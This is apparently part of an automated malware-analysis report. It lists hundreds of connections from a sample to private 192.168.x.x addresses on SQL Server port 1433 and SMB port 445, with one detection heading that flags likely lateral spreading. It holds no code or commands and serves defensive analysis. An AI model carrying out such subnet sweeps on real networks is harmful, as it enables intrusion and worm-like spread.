Source: global traffic	TCP traffic: 192.168.0.123:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.244:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.122:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.243:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.125:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.246:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.124:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.245:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.240:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.121:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.242:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.120:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.241:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.150:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.159:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.156:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.155:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.158:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.157:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.152:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.151:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.154:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.153:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.149:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.148:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.145:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.144:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.147:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.146:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.141:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.140:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.143:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.142:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.255:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.219:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.218:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.215:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.214:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.217:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.216:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.211:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.210:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.213:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.212:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.208:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.207:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.209:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.204:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.203:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.206:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.205:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.200:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.202:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.201:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.119:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.116:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.237:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.115:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.236:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.118:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.239:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.117:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.238:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.112:1433	Jump to behavior

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.1.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.176:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.40:445	Jump to behavior
